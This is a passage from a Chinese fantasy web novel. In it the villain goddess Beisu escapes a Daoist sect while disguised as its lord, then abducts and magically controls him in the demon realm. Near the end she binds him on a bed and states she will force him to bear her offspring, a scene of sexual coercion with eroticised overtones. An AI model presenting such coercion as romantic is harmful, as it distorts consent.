这句话传到北溯耳中,她确实看见凤鸣在毁降魔杵,但这玩意怎么可能轻易被摧毁,即使凤鸣的秘术能融化一切,想要融化神器不是那么容易。 不过他此举拖延了这几人,她便可以趁机离开。 现在七绝阵还没彻底展开,她现在走还来得及。 北溯闪身到凤鸣身后,被他警觉地用翎羽后刺,避开锋利得能穿透身体的翎羽,她用原本的声音吐出一句话:“这里就靠你了,若是你能活着出道宗,我就告诉你,你要找的人在何处。” 凤鸣当即转头看她,眼前的人分明是成镜的脸,却是女声。 “你什么意思——” 那人的身影消失,在摧毁降魔杵和追上去之间犹豫了一瞬,背后一寒,立刻回身格挡,漆黑的夜空炸开火光,凝聚成型的火球带来的高温快要将莲池阵法,池水咕嘟冒泡,莲花被烫熟,无力地坠下。 而北溯已经冲破九重山防御结界,来到一重山,无数白衣弟子聚集在此处,维持护宗大阵。 凤鸣来时已经将其击碎一角,现在在修补。 北溯盯着这群人,回望九重山的方向,这个她待了三个多月的地方,没有留下一丝怀念。 她转身来到结界破损处,有底弟子见到他,惊喜出声:“是道君!道君来帮忙了!” 北溯勾起唇角,缓缓笑着。 我可不是你们的道君,你们的道君如今被我困着,连反抗都做不到呢。 她刚去打开结界,天綪追上来,却未对弟子与执事们说他们所见到的道君是假的,只说:“立刻修复结界!” 她说完这句,立即去追北溯。 然而已经晚了。 北溯一掌将结界裂口扩大,击出的力量未收着,在裂口附近的弟子被波及到,负伤倒地。 她出了结界,感知到天綪还在追,瞧见不远处隐匿在黑暗中的裂缝,抬手一击,将结界裂口扩大,弯月飞旋入结界内,迅速融化。 此刻聚集在一重山的弟子颇多,人味重,北溯方才丢进去的弯月加重了这人味,将人味扩散,很快裂缝产生异动,黑紫色的颗粒物蔓延出来,像是一条粗大的舌头,朝结界裂口那舔着。 天綪脸色骤变,停下来去看异种裂缝。 在结界外更为直观清楚地看见,那些由人变成的异种怪物缓缓从裂缝里爬出来,速度极快地朝结界裂口跑,且裂缝也在被人味吸引,移动着靠近结界。 天綪当即用降魔杵护住结界裂口,往北溯投去阴狠的目光。 北溯低笑。 “你想抓我,再回去修炼个三百年吧。” 结界内一阵火光闪过,哀嚎声声,天綪捏紧双手,看到裂缝不断逼近,结界还未修复,里面还有只妖王没有解决,这个时候她去追人,道宗必会出事。 她死死盯着顶着成镜脸的人,终是选择去保护道宗百余名弟子。 “我会抓到你的。” 北溯不在乎。 她不用天綪抓,待修复鳞舞,她自会回来寻仇。 遥望道宗内被攻击得到处躲避的凤鸣,她轻轻吐出一句:“祝你好运,千万不要死在里面。” 她的身影隐没在黑暗中,任谁都寻不到她的踪迹。 今夜,月很圆。 天綪迅速拦截异种,传 音给道宗内弟子与执事,让他们直接开启七绝阵,诛杀异种,迅速修补结界。 然而弟子们好不容易将裂口缩小到球那么大,炽热的气息冲撞,将那裂口再度撑大,翎羽飞射,弟子们堪堪躲开。 意识到自己被利用了,立即脱身。凤鸣冲出结界,被三人围攻也只受了轻伤,但出结界时被降魔杵腐蚀到了发丝,差点脸被伤到。 咒骂一声,见到天綪更是没好气,刻意将结界破坏得更严重,在天綪提刀砍过来时,飞身一跃。 一声尖锐啸声笼罩整个一重山,火鸟的身影遮盖月光,划过天际。 当月光重现时,弟子们只看到无数异种对他们虎视眈眈,尽管害怕,但为了保命,坚持着修补结界。 今晚,注定是个不眠夜。 月色洒在石子滩上,两道身影显现,后头的那人堪堪站稳,警惕望着身前的女子。 北溯背对着他,仰头瞧着圆月,轻声道:“你现在想杀了我吗?” 她恢复了原本的模样,一身白衣,站在那,寂寥的月光洒下,衬得她身形瘦削,冷清,给人一种她此刻尤为脆弱的感觉。 成镜知道这是她在迷惑自己,她并非表面那样看起来轻易就能被杀死。 此刻他若是上前杀她,等他的,只会是被她折磨。 目光缓缓观察四周,这里灵气稀薄,应是离道宗很远,且快接近妖魔两界。不祥的预感袭上心头,他抬首望月,那月已经与满月无差。 为何会离开道宗? 脑海中浮现一个极为荒谬的猜想,刚想到便羞愤得捏紧双手,生出了要用灵源与她同归于尽的念头。 女子的声音响在这黑夜中,声音分明与平常没有区别,却给他一种,被地狱恶鬼盯上的毛骨悚然感。 “我给你机会了,但你不动手,以后,你不会再有机会。”北溯缓缓转身,背对着月,月光无法照耀她的脸庞,阴影下的脸上瞧不清神情,却能感受到她身上的躁动,迫切地想要用些什么东西去发泄。 手上沾满鲜血,被三界排除在外,既非正统神祇,也非世人供奉的神。 被迫接受神格,连月神从何而来都不知,百年的师徒时光,以他堕神陨落,她被封印而终结。 她恨人族,恨昆仑那群所谓的仙人,恨妖族,恨魔族。 恨极了这个秩序不公的世界。 积攒几百年的恨压在心口,沉重得无法呼吸,所以她需要发泄。 邪神盯上了世间最纯净的莲。 北溯盯着成镜,缓缓露出笑,声音混杂着平静的疯狂:“还记得我对你说的话吗?” 成镜压制着体内还未减弱的灼烧,意识到一场新的折辱即将到来。 “我要你,被我炼化。”北溯每说一句,朝他走近一步。 最后距离他只有不到三步的距离,仰头看着这位身体里凝聚着自己力量的道君,想到高台之下投来的敬仰钦佩目光,那些弟子,已经将他当成了神。 他多高尚啊,庇护道宗,拯救其于危难之中,击退妖王,随手便能将几百只妖兽湮灭,他这么厉害,怎么可能不会受到敬仰呢。 可是她好看不惯啊。 看不惯这种人自诩正义,以为自己庇佑的是正确的一方,随意便可杀了妖兽。 他们自己不也是对同族残忍吗?珩玲为救珩断而死,没有一个人关心她的死活。 而一个打杂弟子,偷了道君养的莲藕,就要被吊挂七天吊死。 这群人什么时候真的正义过? 不过是用来掩盖自己贪婪与欲念的幌子,自私才是他们的真正面目。 所以她要先将这朵莲花拉入地狱,在他身上浸透罪恶,让所有人都看看,连他们奉为神的道君都无法坚守所谓的正义,他们又何必当小丑。 北溯微微睁大眼眸,在成镜的视角,清晰地看见她瞳孔的变化,逐渐拉长收缩,染上翠绿,折射着皎洁月光,第一眼看过去,漂亮得宛如绿宝石,晶莹剔透,叫人生出想要好好珍藏的心思。 但这一双眼里充满与野兽一般的肆虐杀意与疯狂,成镜立刻回神,听到她接下来的话,立刻动用灵源。 “我要你成为我的容器,孕育我的子嗣。” 可他受了伤,反应速度比不上比他强的北溯。 北溯一步逼近,法术打入他体内,锁住他的灵脉,他现在连操控灵源都做不到,人被她定着,只能眼睁睁看着她的手伸起,抚上自己的脸。 一双冰凉的手,叫人冷得发颤。 北溯凝望着他这张脸,轻声道:“别着急,明晚,便是炼化你的时候。” 他的眼迸发出强烈的抗拒与警告,但无济于事。 邪神看见了,邪神不在乎,这只会让她更兴奋。 “我带你去一个地方,短时间内不会有人找到你。”她说着,侧了身,朝他勾勾手,像是对待玩物,只让人觉得耻辱。 成镜发现自己的身体不受他控制地动了,好似有无形的丝线控制四肢,将他带着走向北溯。 北溯满意地笑着,语调轻快:“你看,这样才听话嘛。” 她似乎看不到成镜眼里的杀意,继续说着话,控制着他跟在自己身后,朝不远处魔界的入口走去。 “但我怕你会跑,还是把你关起来吧。” 她回眸,朝他一笑,那双翠绿的竖瞳,全是对猎物的觊觎与吞噬的欲望。 “再蒙上眼怎么样?” 第23章 两道人影缓缓走过石子滩,岸边水声阵阵,远处黑影高耸云端,远远看着犹如参天巨人,监视这片大地的一举一动。 当那座与山齐高的魔界界碑显露在眼前时,北溯深吸一口气,弯着眼眸,低叹。 “好久没来了。” 在进去前,她转身仔细打量被自己操控的男人,忽略他双眼中的愠色,瞧着他这副容貌,摇了摇头,道:“你这副样子,进去了会被认出来。” “虽然我不介意,但在我将你炼化成功前,还是不要用这张脸。” 但她又不喜欢太普通的脸,看着便觉得没劲。 脑海中闪过一道灵光,她直接动手,变幻了成镜的容貌,自己瞧了会,颇为满意地点头,凝出镜子给他看。 “怎么样,喜欢吗?” 镜子里倒映出的面容俊逸清隽,不说话时瞧着温柔娴静,重点是,只凭这张脸,看不出男女。 成镜只看了一眼,便阖上眼。他没想到自己会被带到魔界,还被她换了容貌。 北溯唔了一声,收了镜子,仔细瞧他,疑惑道:“不喜欢吗?” 她凑近仔细看,离他很近很近,近到成镜能嗅到她身上的淡香,混杂着几分令他熟悉的莲香。 无法动弹,无法躲避,只能任由她靠近,被她肆意打量。 “我捏的很像他啊,几乎一模一样。” 这句话令他心头不可抑制地生出被羞辱的感觉,自己的脸被换成旁人的,她便是这么喜欢那人的脸,为何不去寻那人做容器? “算了,先用着吧。”北溯不再看他,转身走向界碑,肉眼看不见的结界在她走过时波动,荡开涟漪,片刻后魔气飞速冲来,击向她,被她卸掉。 北溯停下,前路被两只显现身影的魔拦住,他们盯着这两个不速之客,二话不说,开始赶人。 她站在原地未动,威压降临,两只魔顿时被压制得趴下,面露痛苦之色。 北溯缓缓扫过这两只魔,抬眼望向被黑雾掩盖的前方,缓缓开口:“雾漓呢?出来见我。” 她的声音响彻天际,迅速传播开,几乎每只听到这声音的魔,心头狠狠一颤,大脑眩晕。 越来越多的魔来到此处,修为低的无一例外被压制住,有魔见无法抵挡她,连忙回去通报。魔域内混乱一片,很快一股强大气息涌出,包围魔域,抵消北溯这句话里威能带来给群魔的影响。 那气息如陨石天降,落在北溯面前,烟雾散尽,一道褐色身影显现。 黑发编成细细蝎子辫,四肢银环碰撞, 声音清脆,身上衣裳堪堪遮住三点,与没穿没什么区别。 他眯着眼打量喊自己的女子,视线落到她身后的男人身上,看他们的神情陌生。 “两个修士,来魔界寻死?”白日刚失手,心情不佳,遇上两个来送死的人族修士,他不介意都杀了。 他捏拳就要将这两人揍得稀巴烂,幽蓝的魔焰附着在拳头上,一拳挥出。 北溯未动,张口道:“许久不见,看来你已经忘了你还欠我一条命。” 雾漓没有反应,已经逼近她身前不到一米,却再难进一步。 飞旋的弯月拦住他,随后他眼前一晃,周围事物消失,只余下身形巨大到遮天蔽月的巨蟒。漆黑的鳞片反射月光,在空中高悬,投下的阴影将他覆盖,在巨蟒面前,他尤为渺小。 进攻的动作蓦然停滞,倒映巨蟒身影的瞳孔颤动,雾漓的双眼直直盯着这条黑蟒,竟是一次都未曾眨眼。 双眸死死盯着,那一瞬间爆发出强烈的情绪,起初是恨,想立刻杀了眼前这条蟒,亲手将刀捅入她身体,一片一片削了她的鳞片,扒了她的皮。 可恨之后,涌出的是与另一个极端的情感。 他眼中竟然流露出了怀念,仿佛看到许久未见的好友,看见她再次出现在自己面前,想问她最近过得怎么样,这么多年,为何不来见他一眼。 雾漓望着仿佛近在咫尺的巨蟒,缓缓伸出手,呢喃一声:“殿下……” 这一声殿下,等了三百多年,才在今日,再一次喊出口。 “啊哈……”他忽然捂住脸,身子颤抖,微弱的颤声发出,声音越来越大,越来越急促。 “哈哈哈哈哈哈哈哈哈——” 他松开捂住脸的手,仰天长啸,笑得呼吸不顺也没停下,脖颈血管凸起跳动,像个疯子一样不住地笑。 你没死,你果然没死,你果然没死! 笑声戛然而止,一滴水润的液体滑落,他挺直了身子,死死盯着这条黑蟒,杀意覆盖双眸,下一瞬身形闪到黑蟒面前,抬手一拳砸下。 即将触碰到黑蟒之时,这条黑蟒在他面前碎了。 面上惊慌一闪而过,收回拳头张开手,慌乱地想要去碰了一碰这条黑蟒,黑蟒身影彻底消失,女子的面容闯入眼帘。 雾漓呆滞了片刻,张手就要去撕她的脸,强大的威压控制着他的手,无法逼近一分一毫。 北溯瞧着他那样,就知道没忘记。 “认出来了?” 雾漓冷笑:“你这张脸我可不认识。” 他盯着这张全然陌生的脸,咬牙出口:“先让我把你脸上的皮揭开,看看底下那张真皮是不是我认识的那张。” 北溯没放开他,此人就是个疯子,逮着机会就要捅她,身为妖时不知遭到他多少暗算,他们之间,渊源太深。 “我要在你这住几天。”北溯直接略过他,控制成镜的身体跟上自己,往里走,“给我一间空房间,不要打扰我。” 雾漓盯着她的视线转移到她身后的男人身上,眸中的杀意更盛,一只手被控制,另外一只手还能动。 魔焰砸向成镜,不出意外地被拦住。 他笑了一声,嘲讽她:“你没地可去了?带个人族男人来我这逍遥快活,当我这里是窑子,谁都能进来?” 北溯顿住脚,转身看他,缓缓露出一个笑:“那我就杀了你,再自称魔尊,将魔界占为己有。” 她的笑不达眼底,竖瞳里冷意骇人:“雾漓,你说呢?” 像是被戳中心底最隐秘的痛,雾漓久久未开口,身体无法控制地颤抖着,片刻后面容扭曲着狞笑:“好啊,你敢住,我就敢留你。” 他丝毫不收敛杀意,充满恶意地扫视这两人,道:“那你可要时时刻刻看好你带来的男人,魔界可没有妖界那样太平,一个人族,落入虎口,谁不想杀了他?” 北溯没有理他,松开对他的禁制,转身向里走去。 从见到雾漓起,便再没有看成镜一眼。 她撤开威压,走过那群伏地的魔,远远看去,宛如诛魔朝拜。 雾漓朝周围一群没用的魔呵斥,群魔纷纷退下,不敢在这位暴怒的魔尊眼皮子底下多留一刻。 成镜从他们之间的对峙中回神,他能看得出来,这两人认识,且魔尊雾漓对她的感情极为复杂。 眼前的女子忽然顿住,转身走来。 成镜凝神,警惕她的靠近,她却目不斜视地从身侧走过,一丝目光也未曾投过来。 身后传来雾漓嚣张的声音:“怎么,怕了,想走了?” 不知为何,成镜听到雾漓的声音,想起他说的那句窑子,心头不快。 他听见女子的声音,她从未用这种语气对他说过话,温柔得不可思议。 “我是担心你,毕竟你今日不是被成镜伤到了吗?”北溯笑眯眯地说着,在雾漓恼怒攻击过来时,抬膝击中他的腹部,一手掐住他后颈,将人按倒,跪在自己面前。 她的声音温柔得宛如催眠曲,笑容满面,却叫人生出寒意,不敢靠近。 成镜看不到她此刻的模样,听她说话的语气,似乎真的在担心这位魔尊。 他闭上了眼,静下心神,摒弃杂念,不想听身后的动静。 “你看你,伤得确实重,都站不稳了,好好养着,我可不想看到你脆弱的模样。” 北溯俯身,拨动一下他的臂环,银光闪闪的。 在他的挣扎中,凑到他耳畔,低声道:“我可不想,几下就弄死你了,我们之间的账,还得慢慢算。” 泛着淡淡莲香的气息扑来,雾漓身子一僵,耳畔的话听得不大清晰,直到那气息消散,才意识到人已经走远。 他站起身,银饰相碰,发出清脆声响。 他盯着那道白色身影,哼笑一声,眸色阴沉如墨。 “殿下,我与你的账,可算不完。” 走了没多远的北溯停下脚,望了眼前方,几分无措地回头朝男人道:“我好像忘记路了。” 没有得到他的回答。 突然想起来,他被自己定住了,说不了话。 算了,等等雾漓吧,让他带自己进去。 不过片刻,衣着暴露的男人走过来,见她停下,冷嘲热讽:“怎么,年纪大了,记性不好了” 北溯未言,仔细打量他,想到什么,来了兴趣:“你当上了魔尊,应当是有了单独的寝殿?” 雾漓已经意识到她要说什么。 “我就住你的寝殿,没有人敢来你的寝殿打扰。” 雾漓听完后怒极反笑,指着成镜问她:“你带一个人族,住我的寝殿。” 他的目光如刀一般在成镜身上刮过,瞧着他被衣衫遮住显得瘦削的身体,再一看他柔气过重的脸,嗤笑:“你居然看得上这样的男人。” “他这样的,也配侍奉你?” 北溯冷了眸,但没再动手。 “带我去你的寝殿。” 雾漓盯着她半晌,缓缓露出笑,“好,我带你去。” 他转身往前,走一步,脚踝上的银环动一次。 北溯低头去看,那银环随着腿的动作起伏,动作幅度恰好时,那声音清脆悦耳,煞是好听。 她若有所思地看着。 身后被她控制着的人目光同样落在身前的人身上,以成镜的角度,能看见北溯在盯着雾漓的脚踝看。 他只看了一会,垂下眼帘,去看此刻背对自己的人,探究的目光落在她身上。 自从来到此地,获得的信息量太大,这位破了封印而出的邪神,与魔尊雾漓认识,且关系匪浅。 以他的立场,此二人都是他应除去的对象。 但现在,他需要弄清她接近自己的真正目的。 是为复活月神,还是为摧毁人界。 肩上承载着千万人寄于的厚望,他要守护人界,抵御一切危险。 成镜缓缓闭上眼眸,去感受体内那股异常的力量。灼痛感已经减弱大半,这不知是好还是坏,今夜过去,再度过明晚,这场闹剧,该结束了。 魔族的寝殿要比重莲殿大得多,且不止一间,周围间隔一定距离,密不透风,私密性很好。 北溯很满意。 她挑了地势最高的一间,进去一瞧,从天花板垂坠下来的帷幔勾在床铺四角,床大得能在上头跑。 里头的蜡烛燃烧起来,是冷色调的蓝光,衬得阴气森森。 挑眉望 向雾漓,笑道:“看来你的日子过得不错。” 雾漓靠在门上,来回晃动脚踝,发出银环碰撞身。他意有所指道:“这张床你不满意?” 北溯很满意,不过有些东西要改改。 两指一搓,火星四射,阴暗的蓝色焰火转为红,殿内立刻亮堂。 “这么嫌弃,还来我这干什么。”雾漓站直了身,扯了扯自己的衣衫,动作一顿,偏头去看北溯带来的男人,这么一看,恰好与他对视视线。 他只从这个男人眼里看到了平静,如同静谧夜晚中毫无波澜的水面,即使被带来了魔界,也没有丝毫惧怕。 这样的眼神,他似乎在哪见过。 “你——”他偏头要去问北溯,一转头便对上一张凑得极近的脸,除了那双翠绿竖瞳,在这张脸上他看不到任何熟悉之处。 “你该离开了。”北溯伸手拉住成镜的手,将他拉过来。 交握的手落到雾漓眼里,痴狂的眼神一闪而过。 “在旁人的地盘做这种事,真不愧是你啊。” 他后退一步,缓缓俯下身,极为优雅地向面前的女子行礼,双眼却死死盯着他,恶意满满。 “祝您今晚愉快,殿下。” 他说完,干脆利落地直起身,转身离开。 一团魔气直冲天际,隐没在黑暗中。 北溯凝视他离开的方向,松开成镜,在殿外设置禁阵,没有她的允许,无人可进,无人可出。 关上殿门,面对着成镜,见他正在看自己,缓缓露出了笑:“你不害怕吗?” 他无法开口。 “你不怕我现在,就对你做些什么吗?” 成镜敛眸,她要对自己做的,无非就是那几件事,不在道宗做,将他带来魔界,定然是要—— 浑身一轻,她施加的禁锢被解开了。 “休息吧,今晚我不会对你做什么。” 北溯没有去那张床。 尽管她一进这间寝殿,便知这里一直都是空的,没有被住过。 不喜欢这里的味道,没有莲香好闻,想回重莲殿。 北溯用法术将殿内再清扫一遍,去椅子上坐着,胳膊肘抵着桌面,撑着下巴,闭上眼休息。 她不动,寝殿内便安静得如一滩死水,一丝声音也无。 成镜微微动了手腕,缓缓转动脑袋扫视周围,走向与北溯相反的方向,忽视那张床,寻了个空旷的位置,唤出莲台,打坐养伤。 殿内安静得似乎没有人。 烛火摇晃,成镜的影子投射在墙壁上,如同降世神像,威严肃穆。 不知何时睁开的眼静静看着打坐的人,神情悠然,竖瞳中的烛火闪烁,忽明忽暗。 他真的一点都不担心她会突然对他做什么。 真是单纯。 她转头看向开到顶的窗户,很小一扇,但能看见外头的月。 明晚,月就要圆了。 鳞舞,你该等着急了吧。 月光皎洁,落在地面,照亮周围一切,道宗弟子终于将结界修复,但也付出了惨重的代价。 为抵御异种,死了二十八名弟子,一名执事,天綪重伤。 他们看着渐渐回到裂缝的异种,看着裂缝合拢,慢慢移走,满心愤恨。究竟什么时候,才能将这群怪物杀尽,不再提心吊胆害怕自己也会变成怪物。 吩咐其余执事清扫残局,天綪召集三名长老与道宗内八名供奉于吞云殿议事。 她只说了一句:“定要抓到那人,为道宗惨死的弟子报仇。” 翌日一早,梵钟再响,很短,这是有尊者到来的讯号。 天綪携带全宗人员齐齐来到一重山下,迎接昆仑仙人到来。 飞舟缓缓进入道宗,巨大的阴影几乎将整个九重山覆盖,弟子们心潮澎湃,激动不已,却没人敢抬头看。 那是仙人,不可冒犯。 数道光影投下,天綪立即跪地行礼,她身后的所有人跟着一起跪下。 “道宗宗主天綪,携长老,供奉,及千百名道宗弟子,拜见诸位昆仑仙尊。” 千百人齐齐恭敬道:“拜见诸位仙尊。” 所有人虔诚跪拜,普通人几乎一辈子都没有可能亲眼见到仙尊,而现在他们有这个荣幸见到,激动不已,说话的声音都在抖。 飞舟之上,金光散开,走出十三名仙尊,皆是白发苍苍,仙风道骨。眉心一道山形印记,身上青色衣袍犹如云织成,轻盈顺滑。 站在最前端的仙尊垂眸望着低下渺小如蝼蚁的修士,缓缓张口:“道君何在?” 天綪面上一僵。 半个时辰后,吞云殿执事安排好十三位仙尊暂时歇息的住所,看着弟子们打扫。 “可惜我没来得及看,只听见仙尊问道君去哪了。” 一弟子奇怪道:“昨晚道君不是来一重山帮忙驱赶异种了吗,怎么今日不见他出面迎接昆仑仙尊?是昨晚受伤了?” 天綪并未告知昨晚来的“道君”是假冒的,除开她与三位长老,道宗其余人还不知有人冒充成镜,更不知道宗内没有成镜的踪影。 “许是在养伤?不过道君不出面,宗主出面好像也能说得过去?” “我倒是觉得挺奇怪的,昆仑仙尊来道宗这么大的事,道君怎么会不出面呢——” “你们几个在说什么呢?来,对我说说?”执事一吼,弟子们立刻闭上嘴,纷纷认错。 “布置给你们的任务完成了吗就在这嚼舌根,尊者也是你们能妄加议论的?”执事一瞧这几个弟子缩得跟鹌鹑一样,警告道:“再被我发现,你们几个给我去戒律堂待上几天,好好学学宗规。” 弟子们连连说不敢了,立刻去干活。 执事盯着他们许久,见他们老实了,才离开。 他遥望吞云殿方向,颇有几分向往。 云雾缭绕,殿内冷清,向来坐于首位的天綪此刻跪于殿中,首位端坐一名仙尊,冷眸严肃,两侧分别坐着十二位仙尊,皆是齐齐将审视的目光投向她。 “并非是道君对诸位有异言,而是他……”天綪咬牙,一口气说出来:“道君不见了。” 有仙尊诧异。 天綪朝首位仙尊一拜,继续说:“道君与昆仑镜,都不见了。” 下首位仙尊拍案而起:“你说什么?” 天綪如实告知:“几日前我发现一名弟子身上有异常,试探过后本想除掉,被道君带走,道君应是没有立即铲除。短短三日,妖王袭击,道君忽然催动昆仑镜,异种裂缝靠近一重山,魔族杀修士抢夺灵源。昨日道君与三位长老前往黑水检查封印,当晚便有人冒充道君。” 天綪抬起头,脸色凝重:“冒充道君的人,可自由进出重莲殿,还唤来了妖王凤鸣。昨晚我宗损失惨重,我心急道君安危,前去重莲殿问候,久久不见道君回应,情况紧急,不得不破了禁阵进去查看。” “重莲殿内并无道君身影,被道君带走的那名女弟子,也不见了。” “我怀疑,那名女弟子便是冒充道君的人。” 下首位仙尊并未与天綪说话,直接问坐于首位的仙尊:“兴许我等应直接前去黑水。” 天綪心惊,错愕望向那位仙尊:“那昨日回来的,早就不是真正的道君?” “你二位仙尊,立即前往黑水查探封印是否完好。”天枢仙尊一声令下,立刻有两名仙尊起身,向他行礼领命,身形消失。 天綪知道接下来当是几位仙尊接手调查,她只需听从仙尊调遣即可。 天枢仙尊又问道:“你可知那人来历?” 天綪调查过,立即禀告:“那人三月前被选入重莲殿成为杂役弟子,背景干净,查不出异常。” 如今想来,处处都是问题,负责挑选杂役弟子的执事怎么做的事,这种人也能选上来。 “我这便去叫当初负责挑选弟子的执事来问话。” 弟子却来报,说陆微璎入魔,神志不清,被关入镇魔塔里。天綪没有犹豫,直接将人困住,带到吞云殿,他们没办法对付心魔,仙尊必然可以。 浑身魔气缭绕的陆微璎被禁阵囚禁在殿内,其余仙尊只看了一眼,便知她的情况不算严重。 摇光仙尊一指弹入陆微璎眉心,扩散的魔气被凝聚成拇指大小的一团,她抬手一捏,魔气湮灭,陆微璎顿时清醒过来,看到眼前坐于高座之上的仙尊,再一看他眉间的山印,当即跪地,吓得一句话都不敢出。 “我问什么,你便答什么,听见了吗?” 一道严厉声音传入耳中,陆微璎身子一哆嗦,连连点头。 天綪这才问:“三月前你挑选上来的那名杂役弟子,叫什么名字,从何处找的?” “她……她……”陆微璎面色惶恐,竟然想不起来自己当初是怎么挑中那名杂役弟子的,“我不记得了——” 她的声音淹没在摇光的搜魂术里。 灵魂出窍,悬浮在她头顶上空,仙力凝成丝线钻入她七窍中搜寻,她的身体僵直,灵魂却在无声地痛苦哀嚎。 天綪皱眉,看了眼摇光仙尊不为所动的模样,终是什么都没说。 片刻后丝线断开,灵魂归窍,陆微璎的身子直接瘫倒在地,双眼无神。 被搜魂后便会散失神智,成为不能自理的痴傻儿。 天綪叫执事将陆微璎拖下去,重新跪下,等待仙尊发令。 “并未搜寻到任何线索,她的记忆被模糊了。” 其余仙尊齐齐对视,心中了然。 “怕是对方早有准备,有备而来。” 天綪方要认罪,天枢仙尊却道:“你,带本尊前去道君住所,本尊自有办法追踪到他。” 天綪伏地,低声说是。 莲池内依旧一片狼藉,昨晚过后,重莲殿空空如也,没有天綪的命令,无人敢靠近。 禁阵已破,水栈后的重莲殿一览无余。 天綪站在天枢仙尊身后,盯着他仙气飘飘的背影,眸中划过异色。 星罗阵展开,将整个重莲殿包围,无数丝线围绕重莲殿迅速飞射,金光闪现,如同牢笼,将重莲殿禁锢其中。 片刻后丝线收缩回天枢仙尊手中,阵法消散,肉眼看不出有什么变化。 天綪试探问:“仙尊可查出了什么?” 天枢未曾看她一眼,直接回了吞云殿,他立于浮雕前,神情严肃,沉声道:“诸位仙尊,现在需要尔等搜寻道君踪迹。” 众仙尊起身:“我等听候您吩咐。” 天璇仙尊开口,问:“只在人界搜寻?” 天枢仙尊眸光沉沉,望向殿外缥缈云雾,道:“人妖魔三界,一条缝隙都不可放过。” 众仙尊齐齐应声道:“遵令。” 很快弟子们发现道宗看守变严,使用传送阵须得检测命牌,未携带命牌者一律无法使用。 他们隐隐约约猜到发生了大事,但宗主未宣布,他们也不敢问,只按照要求行事。 与道宗同样陷入紧张局势的,还有魔界。 雾漓一夜未眠,会到自己寝殿想了许久,抄起刀要去把人杀了,方走出寝殿,扔了刀,走回寝殿,门嘭的一下关上。 不过片刻,又在寝殿内来回踱步。 最终坐在屋檐上,朝着北溯的方向看。 虽是知道她不可能不会防着他,但看到她在寝殿外设置结界,甚至制造空间裂缝隐藏寝殿,若不是知道那里有一间寝殿,无人会发现。 雾漓心中冷嗤,躺在屋檐上,看着明亮的圆月,浓稠的怀念里混杂着丝丝缕缕他自己都没发现的别样感情,知道这不可能是自己的团圆之日,笑自己痴心妄想。 眼中的怀念渐渐淡去,被恨和杀戮取代。 最终被他封存,一丝情绪也看不出来。 直到日头快落山,都未见她出来,雾漓一跃落地,银环脆响,遥望他们的方向,发出一句嘲讽:“真把我这当窑子了。” 多看一眼都觉得心梗,雾漓当即找了雾蓉,去魔渊找茬。 没有他的允许,无人敢靠近。 被结界笼罩的寝殿内依旧安静,莲台上,成镜缓缓睁开眼,凝视这个从进来起一直保持同一个姿势的女子,生出几分疑惑。 从昨晚到现在日落,她未再动过,他未轻易尝试试探她。 垂眸看着自己掌心,他感知不到自己的灵脉,感觉不到丹田,所有的力量,在那轮圆月显现时,消失殆尽。 他现在只是个再普通不过的人,甚至比普通人还要敏感易受伤,只是轻轻用力,便会在身上留下痕迹。 以往的月圆之夜,他会封闭重莲殿,于莲台上打坐,静待夜晚过去。 而今…… 视线里的女子不设防地露出弱点,只要掐断她的脖颈,自己就会摆脱她的囚禁,等待今晚过去,便可恢复力量。 但他无法做到。 体内的灼痛已经散去,看着并无异样。只有他自己知道,在彻底失去对体内力量的感知前,被她灌进来的力量已经逼近丹田。 再不动手,他便会被她作为容器,去做一件男人根本不可能做到的事。 成镜缓缓落地,手撑在莲台上,扫视周围可用的利器,目光最终落到床铺四角系着帷幔的木锥上,那是唯一可用的尖锐物品。 掌心一空,莲台消散了。 他垂眸望着莲台消散的位置,眸光暗下,许久之后,朝床缓缓走过去。 离床越近,越警惕。 心知她不可能什么都不知道,但还是要尽力一搏。他不可能被她威胁着做那档子事,他的清白,不可被玷污。 只这么想着,离木锥几步之遥时,她依旧阖眼休息,仿佛未察觉到他的动静。 成镜并未安心,拔下木锥,刚要将其绑到袖中,身后一道冷意袭过,心神瞬间紧绷。 一只手握住他拿木锥的手腕,紧紧贴着,轻笑声自身后涌进耳中,令人毛骨悚然。 “道君想杀我?” 北溯瞧了眼他手里的木锥,顶端很尖锐,倒是能刺死人,但她可不是人。 稍一用力,他的手被迫松开,木锥掉落地面,被她握住的位置泛起密密麻麻的酸痛。她的力气本就很大,比平常敏感的身体将这痛放大,但还能忍受。 可她接下来的举动,一点点打破他的防线,眉宇都蹙起,紧抿着唇极力忍耐,不肯发出一丁点声音。 帷幔散开,遮住他们的身影。 北溯直接将人压倒,一手钳住他手腕,膝盖抵住他另一只手,动作可谓是粗鲁极了。 他似乎被按疼,眉头一蹙,眼眸里闪过痛色,这抹痛色没有被错过,北溯好奇去看。 还没怎么用力呢,他反应怎么这么大? 目光扫视他的身体,在他手腕处看到泪痕,更加诧异,只这么微微用力,便会有印子吗? 盯着他的双眼涌现兴奋。 那她再用力些,在旁的地方,是不是也可以制造痕迹? 方要动手,一抬眼见着他凶狠地盯着自己,看着太像那被欺负的灵宠,再怎么不愿意,也没法反抗,只能干瞪着眼。 “别担心,我会很温柔的。” 她语气温柔,面带笑容,却没让成镜放松。 在她身侧,那根掉落的木锥悬浮着,提醒他被发现的小动作。 “等今晚过去,一切都会结束。” 她说了一句他心里也想过的话,含义完全不同,意识到她要做什么,成镜剧烈挣扎起来。 抬起的手再次被压下,刚仰起头,她的身子骤然逼近。 北溯瞧着他不屈的模样,笑了笑,用木锥割断帷幔,长条状的帷幔落到她手中,擒住他的手腕缠紧,将人压制着动弹不得。 即使她松开对他的桎梏,他也没法挣开。 只这么绑住他的双臂,他便没了还手之力,真是脆弱啊。 北溯缓缓直起身,居高临下俯视他,张开唇,语调闲散,轻蔑。 “道君?” “即将飞升?” “千百修士之首?” 侵略的目光将他全身看遍,嗤笑:“不过如此。” 忽略仍在挣扎的男人,北溯支起下巴,想了 想,有些纠结:“我是现在动手呢,还是等天黑了?” 成镜瞳孔颤动,难以置信地望着她,连挣扎都忘了。 北溯很喜欢他这样的眼神,但不是她最期待的。 她仰头望向那扇窗,瞧见圆月的一角,天还未彻底暗下来。 “再等等吧。”她收回目光,俯视成镜,弯了弯眼眸:“毕竟这事,可不能出一点差错。” 光滑的纱织帷幔再怎么轻薄,被勒住手腕也会痛,尤其现在全身触感痛感都被放大,稍一用力,痛感传达神经,刺激着他。 她只看着他挣扎,残忍地没有一丝怜悯。 渐渐地他没了力气,挣扎的动作变缓,呼吸逐渐加重。 直至他看见那占据窗户的满月,所有挣扎的力气都被抽空,人躺在冰凉的被褥上,双眸中只有她一人的身影。 